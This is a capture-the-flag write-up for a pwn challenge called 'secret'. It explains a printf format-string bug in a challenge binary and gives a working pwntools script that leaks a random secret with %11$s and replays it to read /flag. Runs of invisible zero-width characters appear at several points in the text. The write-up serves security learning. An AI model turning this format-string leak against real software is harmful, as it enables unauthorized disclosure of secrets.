← Back to Writeups
CUSTOMEasypwn

secret

XESXOR9/2/20263 min read
#pwn#custom#easy#format_string_arbitrary_read#info_leak#leak_and_replay#positional_specifier

secret

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: format_string_arbitrary_read, info_leak, leak_and_replay, positional_specifier

Summary

Task: 64-bit PIE ELF reads an 8-byte 'payload' and passes it directly to printf (format-string vuln); a random malloc'd secret on the stack must be guessed to unlock print_flag(). Solution: leak the secret via the compact positional read %11$s, then replay the leaked string at the Secret prompt so strncmp passes and print_flag() dumps /flag.

secret — pwn_spbctf

Description

Форматные строки говоришь? Окай...

English: "Format strings you say? Okay..." A 64-bit x86-64 ELF (secret.elf, PIE, NX, Partial RELRO, no stack canary) is provided, served remotely at nc 109.233.56.90 11630. The program generates a random secret and only prints the flag if you can supply that secret back. Goal: read /flag.

Analysis

Three relevant functions:

  • rand_str() @ 0x12e6: srand(time(NULL)), picks n = rand_int(8, 0x20), malloc(n), and fills n random printable bytes (each rand_int(0x21, 0x7a)). It returns the heap pointer — this is the SECRET — which main stores at rbp-0x8.
  • main() @ 0x13d4:
    1. prints Where is a secret?.. then Payload:
    2. safe_fgets(buf @ rbp-0x10, 8) — reads an 8-byte payload
    3. printf(buf) with NO format argument → format-string vulnerability (the 8-byte user buffer is used directly as the format string)
    4. prints Secret: , safe_fgets(guess @ rbp-0x30, 0x20)
    5. strncmp(secret, guess, strlen(secret)) → if equal, calls print_flag()
  • print_flag() @ 0x135d: fopen("/flag") / fgets / puts. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Two ways in:

  1. Predict the time-seeded secret — possible but fragile: requires replaying the full rand stream (rand_int for the length and every byte) and matching the server clock. Brittle.
  2. Leak it via the format string — deterministic and one-shot.

The secret pointer lives on the stack frame and is reachable as a positional printf argument. With only an 8-byte format budget, long %p chains don't fit, but a compact positional specifier %N$s does.

Solution

Scanning positions %1$p..%18$p / %N$s, position 11 (%11$s) dereferences the malloc'd secret and prints it (all printable 0x21-0x7a characters). Position 1 is our own buffer; 7/9/etc were stack garbage. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So the deterministic one-shot exploit (within a single connection) is:

  1. At Payload: send %11$s → the program prints the secret string.
  2. Capture it from the echo (between Hmmm...\n and \nSecret:).
  3. Send that exact secret at Secret: → strncmp passes → print_flag() dumps /flag.

The secret differs every connection, but leak-and-replay within ONE connection always works.

python
#!/usr/bin/env python3
# secret.elf (PIE, no canary): main reads an 8-byte "Payload" used DIRECTLY as a
# printf format string (format-string vuln). The random secret (malloc'd, printable
# 0x21-0x7a) lives on the stack frame and is reachable via positional arg %11$s.
# Leak it with %11$s, then send it back as the "Secret" guess -> strncmp passes ->
# print_flag() reads /flag.
from pwn import *
context.log_level = 'info'
HOST, PORT = '109.233.56.90', 11630
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io = remote(HOST, PORT)
io.recvuntil(b'Payload: ')
io.sendline(b'%11$s')                       # fits in the 8-byte buffer
r = io.recvuntil(b'Secret: ')
secret = r.split(b'Hmmm...\n')[1].split(b'\nSecret')[0]
log.success('leaked secret: %r' % secret)
io.sendline(secret)
print(io.recvall(timeout=3).decode(errors='replace'))
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍